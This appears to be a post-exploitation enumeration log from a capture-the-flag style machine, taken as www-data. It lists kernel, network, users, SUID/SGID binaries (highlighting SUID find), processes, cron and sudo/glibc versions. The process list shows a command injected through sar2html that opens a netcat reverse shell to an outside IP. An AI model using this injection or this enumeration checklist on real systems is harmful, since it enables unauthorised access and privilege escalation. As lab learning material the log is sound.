System/Kernel


www-data@Vulnerable:/var/www/html/joomla/_test$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib, for GNU/Linux 2.6.32, BuildID[sha1]=d8231516fa1d26d5df42026dfc622b77bf4a681d, stripped
Linux Vulnerable 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:01:15 UTC 2019 i686 i686 i686 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.6 LTS"
NAME="Ubuntu"
VERSION="16.04.6 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.6 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

ELF 32-bit LSB executable Ubuntu 16.04.6 LTS (Xenial Xerus) 4.4.0-142-generic

Networks


www-data@Vulnerable:/var/www/html/joomla/_test$ ip route ; arp -a
default via 10.10.0.1 dev eth0
10.10.0.0/16 dev eth0  proto kernel  scope link  src 10.10.124.235
ip-10-10-0-1.eu-west-1.compute.internal (10.10.0.1) at 02:c8:85:b5:5a:aa [ether] on eth0
www-data@Vulnerable:/var/www/html/joomla/_test$ netstat -antup4 | grep -i LIST
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:55007           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:10000           0.0.0.0:*               LISTEN     

127.0.0.1:3306

Users & Groups


www-data@Vulnerable:/var/www/html/joomla/_test$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
stoner:x:1000:1000:stoner,,,:/home/stoner:/bin/bash
mysql:x:110:118:MySQL Server,,,:/nonexistent:/bin/false
basterd:x:1001:1001::/home/basterd:
ftp:x:111:119:ftp daemon,,,:/srv/ftp:/bin/false
sshd:x:112:65534::/var/run/sshd:/usr/sbin/nologin
total 16K
4.0K drwxr-x---  3 basterd basterd 4.0K Aug 22  2019 basterd
4.0K drwxr-x---  3 stoner  stoner  4.0K Aug 22  2019 stoner
4.0K drwxr-xr-x 22 root    root    4.0K Aug 22  2019 ..
4.0K drwxr-xr-x  4 root    root    4.0K Aug 22  2019 .

basterd stoner

www-data@Vulnerable:/var/www/html/joomla/_test$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
uid=101(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
uid=102(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
uid=103(systemd-bus-proxy) gid=105(systemd-bus-proxy) groups=105(systemd-bus-proxy)
uid=104(syslog) gid=108(syslog) groups=108(syslog),4(adm)
uid=105(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=106(lxd) gid=65534(nogroup) groups=65534(nogroup)
uid=107(messagebus) gid=111(messagebus) groups=111(messagebus)
uid=108(uuidd) gid=112(uuidd) groups=112(uuidd)
uid=109(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(stoner) gid=1000(stoner) groups=1000(stoner),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
uid=110(mysql) gid=118(mysql) groups=118(mysql)
uid=1001(basterd) gid=1001(basterd) groups=1001(basterd)
uid=111(ftp) gid=119(ftp) groups=119(ftp)
uid=112(sshd) gid=65534(nogroup) groups=65534(nogroup)

uid=1000(stoner) gid=1000(stoner) groups=1000(stoner),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) uid=1001(basterd) gid=1001(basterd) groups=1001(basterd)

SUIDs


www-data@Vulnerable:/var/www/html/joomla/_test$ find / -perm -04000 -ls -type f 2>/dev/null
   264453     40 -rwsr-xr-x   1 root     root        38900 Mar 26  2019 /bin/su
   276977     32 -rwsr-xr-x   1 root     root        30112 Jul 12  2016 /bin/fusermount
   260151     28 -rwsr-xr-x   1 root     root        26492 May 15  2019 /bin/umount
   260156     36 -rwsr-xr-x   1 root     root        34812 May 15  2019 /bin/mount
   260172     44 -rwsr-xr-x   1 root     root        43316 May  7  2014 /bin/ping6
   260171     40 -rwsr-xr-x   1 root     root        38932 May  7  2014 /bin/ping
   394226     16 -rwsr-xr-x   1 root     root        13960 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   416088     16 -rwsr-xr--   1 root     www-data    13692 Apr  3  2019 /usr/lib/apache2/suexec-custom
   416085     16 -rwsr-xr--   1 root     www-data    13692 Apr  3  2019 /usr/lib/apache2/suexec-pristine
   260101     48 -rwsr-xr--   1 root     messagebus    46436 Jun 10  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   264108    504 -rwsr-xr-x   1 root     root         513528 Mar  4  2019 /usr/lib/openssh/ssh-keysign
   260699      8 -rwsr-xr-x   1 root     root           5480 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
   265132     36 -rwsr-xr-x   1 root     root          36288 Mar 26  2019 /usr/bin/newgidmap
   260428    228 -r-sr-xr-x   1 root     root         232196 Feb  8  2016 /usr/bin/find
   278157     52 -rwsr-sr-x   1 daemon   daemon        50748 Jan 15  2016 /usr/bin/at
   263308     40 -rwsr-xr-x   1 root     root          39560 Mar 26  2019 /usr/bin/chsh
   263304     76 -rwsr-xr-x   1 root     root          74280 Mar 26  2019 /usr/bin/chfn
   263305     52 -rwsr-xr-x   1 root     root          53128 Mar 26  2019 /usr/bin/passwd
   260641     36 -rwsr-xr-x   1 root     root          34680 Mar 26  2019 /usr/bin/newgrp
   263253    160 -rwsr-xr-x   1 root     root         159852 Jun 11  2019 /usr/bin/sudo
   264477     20 -rwsr-xr-x   1 root     root          18216 Mar 27  2019 /usr/bin/pkexec
   263306     80 -rwsr-xr-x   1 root     root          78012 Mar 26  2019 /usr/bin/gpasswd
   265133     36 -rwsr-xr-x   1 root     root          36288 Mar 26  2019 /usr/bin/newuidmap

/usr/bin/find

SGIDs


www-data@Vulnerable:/var/www/html/joomla/_test$ find / -perm -02000 -ls -type f 2>/dev/null
   137135      4 drwxr-sr-x   2 man      root         4096 Aug 22  2019 /var/cache/man
   131078      4 drwxrwsr-x   2 root     staff        4096 Apr 12  2016 /var/local
   131094      4 drwxrwsr-x   2 root     mail         4096 Feb 27  2019 /var/mail
   405191      8 -rwxr-sr-x   1 root     utmp         5480 Mar 11  2016 /usr/lib/i386-linux-gnu/utempter/utempter
   260385     40 -rwxr-sr-x   1 root     crontab     38996 Apr  6  2016 /usr/bin/crontab
   278157     52 -rwsr-sr-x   1 daemon   daemon      50748 Jan 15  2016 /usr/bin/at
   264104    424 -rwxr-sr-x   1 root     ssh        431632 Mar  4  2019 /usr/bin/ssh-agent
   263307     24 -rwxr-sr-x   1 root     shadow      22000 Mar 26  2019 /usr/bin/expiry
   264375     28 -rwxr-sr-x   1 root     tty         26356 May 15  2019 /usr/bin/wall
   281197     12 -rwxr-sr-x   1 root     mail         9716 Oct 26  2014 /usr/bin/mlock
   277855     36 -rwxr-sr-x   1 root     mlocate     34452 Nov 18  2014 /usr/bin/mlocate
   263303     60 -rwxr-sr-x   1 root     shadow      61276 Mar 26  2019 /usr/bin/chage
   276958     12 -rwxr-sr-x   1 root     tty          9788 Mar  1  2016 /usr/bin/bsd-write
   278204    456 -rwxr-sr-x   1 root     utmp       464152 Feb  7  2016 /usr/bin/screen
   263350      4 drwxrwsr-x   3 root     staff        4096 Aug 22  2019 /usr/local/lib/python3.5
   263351      4 drwxrwsr-x   2 root     staff        4096 Feb 27  2019 /usr/local/lib/python3.5/dist-packages
   278263      4 drwxrwsr-x   4 root     staff        4096 Aug 22  2019 /usr/local/lib/python2.7
   278264      4 drwxrwsr-x   2 root     staff        4096 Aug 22  2019 /usr/local/lib/python2.7/dist-packages
   279969      4 drwxrwsr-x   2 root     staff        4096 Aug 22  2019 /usr/local/lib/python2.7/site-packages
   284560      4 drwxrwsr-x   2 root     staff        4096 Aug 22  2019 /usr/local/share/fonts
   278939      4 drwxrwsr-x   7 root     staff        4096 Aug 22  2019 /usr/local/share/sgml
   278944      4 drwxrwsr-x   2 root     staff        4096 Aug 22  2019 /usr/local/share/sgml/dtd
   278940      4 drwxrwsr-x   2 root     staff        4096 Aug 22  2019 /usr/local/share/sgml/declaration
   278942      4 drwxrwsr-x   2 root     staff        4096 Aug 22  2019 /usr/local/share/sgml/entities
   278941      4 drwxrwsr-x   2 root     staff        4096 Aug 22  2019 /usr/local/share/sgml/stylesheet
   278943      4 drwxrwsr-x   2 root     staff        4096 Aug 22  2019 /usr/local/share/sgml/misc
   279225      4 drwxrwsr-x   6 root     staff        4096 Aug 22  2019 /usr/local/share/xml
   279227      4 drwxrwsr-x   2 root     staff        4096 Aug 22  2019 /usr/local/share/xml/declaration
   279228      4 drwxrwsr-x   2 root     staff        4096 Aug 22  2019 /usr/local/share/xml/entities
   279229      4 drwxrwsr-x   2 root     staff        4096 Aug 22  2019 /usr/local/share/xml/schema
   279226      4 drwxrwsr-x   2 root     staff        4096 Aug 22  2019 /usr/local/share/xml/misc
   281652      4 drwxrwsr-x   3 root     staff        4096 Aug 22  2019 /usr/local/share/emacs
   281653      4 drwxrwsr-x   2 root     staff        4096 Aug 22  2019 /usr/local/share/emacs/site-lisp
   260301     40 -rwxr-sr-x   1 root     shadow      38684 Apr  9  2018 /sbin/pam_extrausers_chkpwd
   260337     40 -rwxr-sr-x   1 root     shadow      38664 Apr  9  2018 /sbin/unix_chkpwd
      274      0 drwxr-sr-x   3 root     systemd-journal       60 Aug 26 14:55 /run/log/journal
      275      0 drwxr-s---   2 root     systemd-journal       80 Aug 26 14:56 /run/log/journal/2f70d4f357a7cd69681d7a545d5e3883

Processes


www-data@Vulnerable:/var/www/html/joomla/_test$ ps -auxwww
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.4  0.8   6652  4528 ?        Ss   14:55   0:30 /sbin/init
root       340  0.0  0.5   5104  2860 ?        Ss   14:55   0:03 /lib/systemd/systemd-journald
root       403  0.0  0.2  13288  1044 ?        Ss   14:55   0:00 /sbin/lvmetad -f
root       428  0.0  0.6  13924  3248 ?        Ss   14:55   0:01 /lib/systemd/systemd-udevd
systemd+   470  0.0  0.4  12596  2156 ?        Ssl  14:56   0:00 /lib/systemd/systemd-timesyncd
root       736  0.0  0.4   6012  2184 ?        Ss   14:56   0:00 /sbin/dhclient -1 -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root       850  0.0  0.5   5584  2544 ?        Ss   14:56   0:00 /usr/sbin/cron -f
root       855  0.0  0.4   3804  2492 ?        Ss   14:56   0:00 /lib/systemd/systemd-logind
daemon     859  0.0  0.3   3488  1812 ?        Ss   14:56   0:00 /usr/sbin/atd -f
root       866  0.3  0.5 113064  2540 ?        Ssl  14:56   0:21 /usr/bin/lxcfs /var/lib/lxcfs/
syslog     869  0.0  0.5  30728  2836 ?        Ssl  14:56   0:00 /usr/sbin/rsyslogd -n
message+   875  0.0  0.6   6060  3108 ?        Ss   14:56   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
root       888  0.0  0.2   2244  1064 ?        Ss   14:56   0:00 /usr/sbin/acpid
root       890  0.0  0.6  37680  3308 ?        Ssl  14:56   0:00 /usr/lib/accountsservice/accounts-daemon
root       915  0.0  0.0   3132   108 ?        Ss   14:56   0:00 /sbin/mdadm --monitor --pid-file /run/mdadm/monitor.pid --daemonise --scan --syslog
root       920  0.0  0.6  35796  3384 ?        Ssl  14:56   0:00 /usr/lib/policykit-1/polkitd --no-debug
root       926  0.0  1.7  34660  8980 ?        Ssl  14:56   0:03 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root       969  0.0  0.4   5212  2032 ?        Ss   14:56   0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root       977  0.0  0.0   2984    92 ?        Ss   14:56   0:00 /sbin/iscsid
root       978  0.0  0.5   3444  2944 ?        S<Ls 14:56   0:00 /sbin/iscsid
mysql      982  0.2 17.8 559752 89968 ?        Ssl  14:56   0:17 /usr/sbin/mysqld
root       990  0.0  0.7  10008  3996 ?        Ss   14:56   0:00 /usr/sbin/sshd -D
root      1082  0.0  0.3   4564  1756 ttyS0    Ss+  14:56   0:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
root      1083  0.0  0.3   4748  1660 tty1     Ss+  14:56   0:00 /sbin/agetty --noclear tty1 linux
root      1128  0.2  2.5 241404 12952 ?        Ss   14:56   0:16 /usr/sbin/apache2 -k start
root      1148  0.0  3.7 155728 18848 ?        Ss   14:56   0:02 php-fpm: master process (/etc/php/7.0/fpm/php-fpm.conf)
www-data  1193  0.0  1.1 155728  5584 ?        S    14:57   0:00 php-fpm: pool www
www-data  1194  0.0  1.1 155728  5584 ?        S    14:57   0:00 php-fpm: pool www
root      1225 11.5  2.6  23112 13240 ?        Rs   14:57  11:41 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
www-data  6640  0.1  0.5 241468  2980 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6641  0.0  0.5 241468  2980 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6643  0.0  0.5 241468  2980 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6644  0.0  0.5 241468  2976 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6645  0.0  0.5 241468  2980 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6646  0.0  0.8 241468  4460 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6656  0.0  1.7 241664  9060 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6657  0.0  0.5 241468  2980 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6659  0.0  0.5 241468  2980 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6662  0.0  0.8 241628  4332 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6664  0.0  0.1   2368   524 ?        S    16:31   0:00 sh -c ./sar2html -r ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.9.1.194 9999 >/tmp/f
www-data  6671  0.0  2.0 241664 10112 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6676  0.0  0.5 241468  2980 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6677  0.0  0.5 241468  2980 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6683  0.0  0.8 241468  4460 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6696  0.0  0.5 241468  2980 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6702  0.0  0.5 241468  2980 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6704  0.1  3.3 242056 17136 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6705  0.0  0.5 241468  2980 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6710  0.0  0.5 241468  2980 ?        S    16:31   0:00 /usr/sbin/apache2 -k start
www-data  6713  0.0  0.1   2380   568 ?        S    16:31   0:00 cat /tmp/f
www-data  6714  0.0  0.5   3748  2744 ?        S    16:31   0:00 bash -i
www-data  6715  0.0  0.2   2764  1496 ?        S    16:31   0:00 nc 10.9.1.194 9999
www-data  6915  0.0  0.3   2664  1840 ?        S    16:31   0:00 script /dev/null -c bash
www-data  6916  0.0  0.1   2368   588 pts/0    Ss   16:31   0:00 sh -c bash
www-data  6917  0.0  0.5   3760  2768 pts/0    S    16:31   0:00 bash
www-data  9212  0.0  0.5   5688  2748 pts/0    R+   16:38   0:00 ps -auxwww

/usr/sbin/cron -f /usr/lib/policykit-1/polkitd --no-debug /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf

Cron & Systemd


www-data@Vulnerable:/var/www/html/joomla/_test$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                          LEFT     LAST                          PASSED
Mon 2024-08-26 23:07:10 EEST  6h left  Mon 2024-08-26 14:56:20 EEST  1h 43min ag
Tue 2024-08-27 06:53:27 EEST  14h left Mon 2024-08-26 14:56:20 EEST  1h 43min ag
Tue 2024-08-27 15:10:25 EEST  22h left Mon 2024-08-26 15:10:25 EEST  1h 29min ag
 
3 timers listed.
Pass --all to see loaded but inactive timers, too.

Sudo Version


www-data@Vulnerable:/var/www/html/joomla/_test$ sudo --version
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16

Sudo version 1.8.16

Glibc Version


www-data@Vulnerable:/var/www/html/joomla/_test$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23